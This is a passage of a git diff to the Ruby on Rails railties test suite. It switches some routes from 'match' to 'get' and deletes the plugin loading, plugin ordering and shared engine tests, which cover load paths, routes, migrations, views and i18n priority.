resources :posts
- match '/generate_application_route', :to => 'posts#generate_application_route'
- match '/application_route_in_view', :to => 'posts#application_route_in_view'
- match '/engine_polymorphic_path', :to => 'posts#engine_polymorphic_path'
+ get '/generate_application_route', :to => 'posts#generate_application_route'
+ get '/application_route_in_view', :to => 'posts#application_route_in_view'
+ get '/engine_polymorphic_path', :to => 'posts#engine_polymorphic_path'
end
RUBY
diff --git a/railties/test/railties/plugin_ordering_test.rb b/railties/test/railties/plugin_ordering_test.rb
deleted file mode 100644
index 1cfaf557e9..0000000000
--- a/railties/test/railties/plugin_ordering_test.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-require "isolation/abstract_unit"
-
-module RailtiesTest
- class PluginOrderingTest < Test::Unit::TestCase
- include ActiveSupport::Testing::Isolation
-
- def setup
- build_app
- $arr = []
- plugin "a_plugin", "$arr << :a"
- plugin "b_plugin", "$arr << :b"
- plugin "c_plugin", "$arr << :c"
- end
-
- def teardown
- teardown_app
- end
-
- def boot_rails
- super
- require "#{app_path}/config/environment"
- end
-
- test "plugins are loaded alphabetically by default" do
- boot_rails
- assert_equal [:a, :b, :c], $arr
- end
-
- test "if specified, only those plugins are loaded" do
- add_to_config "config.plugins = [:b_plugin]"
- boot_rails
- assert_equal [:b], $arr
- end
-
- test "the plugins are initialized in the order they are specified" do
- add_to_config "config.plugins = [:b_plugin, :a_plugin]"
- boot_rails
- assert_equal [:b, :a], $arr
- end
-
- test "if :all is specified, the remaining plugins are loaded in alphabetical order" do
- add_to_config "config.plugins = [:c_plugin, :all]"
- boot_rails
- assert_equal [:c, :a, :b], $arr
- end
-
- test "if :all is at the beginning, it represents the plugins not otherwise specified" do
- add_to_config "config.plugins = [:all, :b_plugin]"
- boot_rails
- assert_equal [:a, :c, :b], $arr
- end
-
- test "plugin order array is strings" do
- add_to_config "config.plugins = %w( c_plugin all )"
- boot_rails
- assert_equal [:c, :a, :b], $arr
- end
-
- test "can require lib file from a different plugin" do
- plugin "foo", "require 'bar'" do |plugin|
- plugin.write "lib/foo.rb", "$foo = true"
- end
-
- plugin "bar", "require 'foo'" do |plugin|
- plugin.write "lib/bar.rb", "$bar = true"
- end
-
- add_to_config "config.plugins = [:foo, :bar]"
-
- boot_rails
-
- assert $foo
- assert $bar
- end
- end
-end
diff --git a/railties/test/railties/plugin_test.rb b/railties/test/railties/plugin_test.rb
deleted file mode 100644
index f307d53cf7..0000000000
--- a/railties/test/railties/plugin_test.rb
+++ /dev/null
@@ -1,123 +0,0 @@
-require "isolation/abstract_unit"
-require "railties/shared_tests"
-
-module RailtiesTest
- class PluginTest < Test::Unit::TestCase
- include ActiveSupport::Testing::Isolation
- include SharedTests
-
- def setup
- build_app
-
- @plugin = plugin "bukkits", "::LEVEL = config.log_level" do |plugin|
- plugin.write "lib/bukkits.rb", "class Bukkits; end"
- plugin.write "lib/another.rb", "class Another; end"
- end
- end
-
- def teardown
- teardown_app
- end
-
- test "Rails::Plugin itself does not respond to config" do
- boot_rails
- assert !Rails::Plugin.respond_to?(:config)
- end
-
- test "cannot inherit from Rails::Plugin" do
- boot_rails
- assert_raise RuntimeError do
- class Foo < Rails::Plugin; end
- end
- end
-
- test "plugin can load the file with the same name in lib" do
- boot_rails
- require "bukkits"
- assert_equal "Bukkits", Bukkits.name
- end
-
- test "plugin gets added to dependency list" do
- boot_rails
- assert_equal "Another", Another.name
- end
-
- test "plugin constants get reloaded if config.reload_plugins is set to true" do
- add_to_config <<-RUBY
- config.reload_plugins = true
- RUBY
-
- boot_rails
-
- assert_equal "Another", Another.name
- ActiveSupport::Dependencies.clear
- @plugin.delete("lib/another.rb")
- assert_raises(NameError) { Another }
- end
-
- test "plugin constants are not reloaded by default" do
- boot_rails
- assert_equal "Another", Another.name
- ActiveSupport::Dependencies.clear
- @plugin.delete("lib/another.rb")
- assert_nothing_raised { Another }
- end
-
- test "it loads the plugin's init.rb file" do
- boot_rails
- assert_equal "loaded", BUKKITS
- end
-
- test "the init.rb file has access to the config object" do
- boot_rails
- assert_equal :debug, LEVEL
- end
-
- test "plugin_init_is_run_before_application_ones" do
- plugin "foo", "$foo = true" do |plugin|
- plugin.write "lib/foo.rb", "module Foo; end"
- end
-
- app_file 'config/initializers/foo.rb', <<-RUBY
- raise "no $foo" unless $foo
- raise "no Foo" unless Foo
- RUBY
-
- boot_rails
- assert $foo
- end
-
- test "plugin should work without init.rb" do
- @plugin.delete("init.rb")
-
- boot_rails
-
- require "bukkits"
- assert_nothing_raised { Bukkits }
- end
-
- test "plugin cannot declare an engine for it" do
- @plugin.write "lib/bukkits.rb", <<-RUBY
- class Bukkits
- class Engine < Rails::Engine
- end
- end
- RUBY
-
- @plugin.write "init.rb", <<-RUBY
- require "bukkits"
- RUBY
-
- rescued = false
-
- begin
- boot_rails
- rescue Exception => e
- rescued = true
- assert_equal '"bukkits" is a Railtie/Engine and cannot be installed as a plugin', e.message
- end
-
- assert rescued, "Expected boot rails to fail"
- end
- end
-end
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
index 55f85c7202..cd495320b5 100644
--- a/railties/test/railties/railtie_test.rb
+++ b/railties/test/railties/railtie_test.rb
@@ -1,7 +1,7 @@
require "isolation/abstract_unit"
module RailtiesTest
- class RailtieTest < Test::Unit::TestCase
+ class RailtieTest < ActiveSupport::TestCase
include ActiveSupport::Testing::Isolation
def setup
diff --git a/railties/test/railties/shared_tests.rb b/railties/test/railties/shared_tests.rb
deleted file mode 100644
index 21fde49ff7..0000000000
--- a/railties/test/railties/shared_tests.rb
+++ /dev/null
@@ -1,361 +0,0 @@
-module RailtiesTest
- # Holds tests shared between plugin and engines
- module SharedTests
- def boot_rails
- super
- require "#{app_path}/config/environment"
- end
-
- def app
- @app ||= Rails.application
- end
-
- def test_serving_sprockets_assets
- @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
-
- boot_rails
- require 'rack/test'
- extend Rack::Test::Methods
-
- get "/assets/engine.js"
- assert_match "alert()", last_response.body
- end
-
- def test_copying_migrations
- @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
- class CreateUsers < ActiveRecord::Migration
- end
- RUBY
-
- @plugin.write "db/migrate/2_add_last_name_to_users.rb", <<-RUBY
- class AddLastNameToUsers < ActiveRecord::Migration
- end
- RUBY
-
- @plugin.write "db/migrate/3_create_sessions.rb", <<-RUBY
- class CreateSessions < ActiveRecord::Migration
- end
- RUBY
-
- app_file "db/migrate/1_create_sessions.rb", <<-RUBY
- class CreateSessions < ActiveRecord::Migration
- end
- RUBY
-
- yaffle = plugin "acts_as_yaffle", "::LEVEL = config.log_level" do |plugin|
- plugin.write "lib/acts_as_yaffle.rb", "class ActsAsYaffle; end"
- end
-
- yaffle.write "db/migrate/1_create_yaffles.rb", <<-RUBY
- class CreateYaffles < ActiveRecord::Migration
- end
- RUBY
-
- add_to_config "ActiveRecord::Base.timestamped_migrations = false"
-
- boot_rails
- railties = Rails.application.railties.all.map(&:railtie_name)
-
- Dir.chdir(app_path) do
- output = `bundle exec rake bukkits:install:migrations`
-
- assert File.exists?("#{app_path}/db/migrate/2_create_users.rb")
- assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.rb")
- assert_match(/Copied migration 2_create_users.rb from bukkits/, output)
- assert_match(/Copied migration 3_add_last_name_to_users.rb from bukkits/, output)
- assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
- assert_equal 3, Dir["#{app_path}/db/migrate/*.rb"].length
-
- output = `bundle exec rake railties:install:migrations`.split("\n")
-
- assert File.exists?("#{app_path}/db/migrate/4_create_yaffles.rb")
- assert_no_match(/2_create_users/, output.join("\n"))
-
- yaffle_migration_order = output.index(output.detect{|o| /Copied migration 4_create_yaffles.rb from acts_as_yaffle/ =~ o })
- bukkits_migration_order = output.index(output.detect{|o| /NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/ =~ o })
- assert_not_nil yaffle_migration_order, "Expected migration to be copied"
- assert_not_nil bukkits_migration_order, "Expected migration to be skipped"
- assert_equal(railties.index('acts_as_yaffle') > railties.index('bukkits'), yaffle_migration_order > bukkits_migration_order)
-
- migrations_count = Dir["#{app_path}/db/migrate/*.rb"].length
- output = `bundle exec rake railties:install:migrations`
-
- assert_equal migrations_count, Dir["#{app_path}/db/migrate/*.rb"].length
- end
- end
-
- def test_no_rake_task_without_migrations
- boot_rails
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
- Rails.application.load_tasks
- assert !Rake::Task.task_defined?('bukkits:install:migrations')
- end
-
- def test_puts_its_lib_directory_on_load_path
- boot_rails
- require "another"
- assert_equal "Another", Another.name
- end
-
- def test_puts_its_models_directory_on_autoload_path
- @plugin.write "app/models/my_bukkit.rb", "class MyBukkit ; end"
- boot_rails
- assert_nothing_raised { MyBukkit }
- end
-
- def test_puts_its_controllers_directory_on_autoload_path
- @plugin.write "app/controllers/bukkit_controller.rb", "class BukkitController ; end"
- boot_rails
- assert_nothing_raised { BukkitController }
- end
-
- def test_adds_its_views_to_view_paths
- @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
- class BukkitController < ActionController::Base
- def index
- end
- end
- RUBY
-
- @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
-
- boot_rails
-
- require "action_controller"
- require "rack/mock"
- response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
- assert_equal "Hello bukkits\n", response[2].body
- end
-
- def test_adds_its_views_to_view_paths_with_lower_proriority_than_app_ones
- @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
- class BukkitController < ActionController::Base
- def index
- end
- end
- RUBY
-
- @plugin.write "app/views/bukkit/index.html.erb", "Hello bukkits"
- app_file "app/views/bukkit/index.html.erb", "Hi bukkits"
-
- boot_rails
-
- require "action_controller"
- require "rack/mock"
- response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
- assert_equal "Hi bukkits\n", response[2].body
- end
-
- def test_adds_helpers_to_controller_views
- @plugin.write "app/controllers/bukkit_controller.rb", <<-RUBY
- class BukkitController < ActionController::Base
- def index
- end
- end
- RUBY
-
- @plugin.write "app/helpers/bukkit_helper.rb", <<-RUBY
- module BukkitHelper
- def bukkits
- "bukkits"
- end
- end
- RUBY
-
- @plugin.write "app/views/bukkit/index.html.erb", "Hello <%= bukkits %>"
-
- boot_rails
-
- require "rack/mock"
- response = BukkitController.action(:index).call(Rack::MockRequest.env_for("/"))
- assert_equal "Hello bukkits\n", response[2].body
- end
-
- def test_autoload_any_path_under_app
- @plugin.write "app/anything/foo.rb", <<-RUBY
- module Foo; end
- RUBY
- boot_rails
- assert Foo
- end
-
- def test_routes_are_added_to_router
- @plugin.write "config/routes.rb", <<-RUBY
- class Sprokkit
- def self.call(env)
- [200, {'Content-Type' => 'text/html'}, ["I am a Sprokkit"]]
- end
- end
-
- Rails.application.routes.draw do
- match "/sprokkit", :to => Sprokkit
- end
- RUBY
-
- boot_rails
- require 'rack/test'
- extend Rack::Test::Methods
-
- get "/sprokkit"
- assert_equal "I am a Sprokkit", last_response.body
- end
-
- def test_routes_in_plugins_have_lower_priority_than_application_ones
- controller "foo", <<-RUBY
- class FooController < ActionController::Base
- def index
- render :text => "foo"
- end
- end
- RUBY
-
- app_file "config/routes.rb", <<-RUBY
- AppTemplate::Application.routes.draw do
- match 'foo', :to => 'foo#index'
- end
- RUBY
-
- @plugin.write "app/controllers/bar_controller.rb", <<-RUBY
- class BarController < ActionController::Base
- def index
- render :text => "bar"
- end
- end
- RUBY
-
- @plugin.write "config/routes.rb", <<-RUBY
- Rails.application.routes.draw do
- match 'foo', :to => 'bar#index'
- match 'bar', :to => 'bar#index'
- end
- RUBY
-
- boot_rails
- require 'rack/test'
- extend Rack::Test::Methods
-
- get '/foo'
- assert_equal 'foo', last_response.body
-
- get '/bar'
- assert_equal 'bar', last_response.body
- end
-
- def test_rake_tasks_lib_tasks_are_loaded
- $executed = false
- @plugin.write "lib/tasks/foo.rake", <<-RUBY
- task :foo do
- $executed = true
- end
- RUBY
-
- boot_rails
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
- Rails.application.load_tasks
- Rake::Task[:foo].invoke
- assert $executed
- end
-
- def test_i18n_files_have_lower_priority_than_application_ones
- add_to_config <<-RUBY
- config.i18n.load_path << "#{app_path}/app/locales/en.yml"
- RUBY
-
- app_file 'app/locales/en.yml', <<-YAML
-en:
- bar: "1"
-YAML
-
- app_file 'config/locales/en.yml', <<-YAML
-en:
- foo: "2"
- bar: "2"
-YAML
-
- @plugin.write 'config/locales/en.yml', <<-YAML
-en:
- foo: "3"
-YAML
-
- boot_rails
-
- expected_locales = %W(
- #{RAILS_FRAMEWORK_ROOT}/activesupport/lib/active_support/locale/en.yml
- #{RAILS_FRAMEWORK_ROOT}/activemodel/lib/active_model/locale/en.yml
- #{RAILS_FRAMEWORK_ROOT}/activerecord/lib/active_record/locale/en.yml
- #{RAILS_FRAMEWORK_ROOT}/actionpack/lib/action_view/locale/en.yml
- #{@plugin.path}/config/locales/en.yml
- #{app_path}/config/locales/en.yml
- #{app_path}/app/locales/en.yml
- ).map { |path| File.expand_path(path) }
-
- actual_locales = I18n.load_path.map { |path|
- File.expand_path(path)
- } & expected_locales # remove locales external to Rails
-
- assert_equal expected_locales, actual_locales
-
- assert_equal "2", I18n.t(:foo)
- assert_equal "1", I18n.t(:bar)
- end
-
- def test_namespaced_controllers_with_namespaced_routes
- @plugin.write "config/routes.rb", <<-RUBY
- Rails.application.routes.draw do
- namespace :admin do
- namespace :foo do
- match "bar", :to => "bar#index"
- end
- end
- end
- RUBY
-
- @plugin.write "app/controllers/admin/foo/bar_controller.rb", <<-RUBY
- class Admin::Foo::BarController < ApplicationController
- def index
- render :text => "Rendered from namespace"
- end
- end
- RUBY
-
- boot_rails
- require 'rack/test'
- extend Rack::Test::Methods
-
- get "/admin/foo/bar"
- assert_equal 200, last_response.status
- assert_equal "Rendered from namespace", last_response.body
- end
-
- def test_initializers
- $plugin_initializer = false
- @plugin.write "config/initializers/foo.rb", <<-RUBY
- $plugin_initializer = true
- RUBY
-
- boot_rails
- assert $plugin_initializer
- end
-
- def test_midleware_referenced_in_configuration
- @plugin.write "lib/bukkits.rb", <<-RUBY
- class Bukkits
- def initialize(app)
- @app = app
- end
-
- def call(env)
- @app.call(env)
- end
- end
- RUBY
-
- add_to_config "config.middleware.use \"Bukkits\""
- boot_rails
- end
- end
-end